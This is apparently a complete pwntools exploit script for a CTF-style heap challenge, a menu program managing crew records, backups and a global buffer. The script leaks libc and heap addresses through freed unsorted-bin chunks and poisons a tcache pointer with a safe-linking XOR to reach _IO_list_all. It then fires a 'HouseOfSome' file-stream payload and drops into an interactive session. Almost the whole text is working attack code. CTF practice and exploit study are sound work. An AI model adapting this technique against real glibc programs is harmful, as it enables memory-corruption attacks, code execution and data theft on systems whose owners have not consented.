def crew_edit(index: int, name: bytes, department: bytes): _manage(index) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Name: ', name) io.sendlineafter(b'department: ', department) def crew_promote(index: int): _manage(index) io.sendlineafter(b'> ', b'2') def crew_demote(index: int): _manage(index) io.sendlineafter(b'> ', b'3') def crew_delete(index: int): _manage(index) io.sendlineafter(b'> ', b'4') def crew_randomize(index: int): _manage(index) io.sendlineafter(b'> ', b'5') def crew_summary(): io.sendlineafter(b'Choice: ', b'2') def _backup(index: int): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', itob(index)) def backup_view(index: int) -> bytes: _backup(index) io.sendlineafter(b'> ', b'1') io.recvuntil(b'Backup @ ') io.recvuntil(b': ') return io.recvline(False) def backup_edit(index: int, data: bytes): _backup(index) io.sendlineafter(b'> ', b'2') io.sendafter(b'content: ', data) def backup_invert(index: int): _backup(index) io.sendlineafter(b'> ', b'3') def global_init(global_data: bytes): """sizeof(global_data) <= 0x200""" io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'1') io.sendafter(b'data: ', global_data) def global_view(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'2') def global_free(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'3') def global_xor(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'> ', b'4') def exitit(): io.sendlineafter(b'Choice: ', b'5') crew_add(0, b'a', b'b', 0x500, b'1') # libc leak crew_add(1, b'a', b'b', 0x20, b'1') # padding crew_delete(0) # leak libc crew_add(0, b'a', b'b', 0) # padding crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000 print_leaked('libc_base', libc.address) crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup heap_addr = u64(backup_view(3).ljust(8, b'\x00')) heap_base = heap_addr - 0x8b0 print_leaked('heap', heap_addr) from SomeofHouse import HouseOfSome hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000) payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0) crew_add(4, b'a', b'b', 0x500, b'1') # unsorted crew_add(5, b'a', b'b', 0x500, b'1') # padding crew_add(6, b'a', b'b', 0x500, b'1') # unsorted crew_add(7, b'a', b'b', 0x500, payload) # padding crew_delete(4) crew_delete(6) crew_add(4, b'a', b'b', 0x260, b'1') crew_add(6, b'a', b'b', 0) # gdb.attach(io, '') crew_add(8, b'a', b'b', 0) # controller crew_add(9, b'a', b'b', 0x420, b'1') crew_add(10, b'a', b'b', 0x20, b'1') # victim backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0)) crew_add(11, b'a', b'b', 0x3f0, b'1') # padding crew_delete(1) crew_delete(10) backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next crew_add(12, b'PwnRiK', b'L-team', 0) crew_add(13, p64(heap_addr + 3904), b'PWNED', 0) exitit() hos.bomb(io) io.interactive()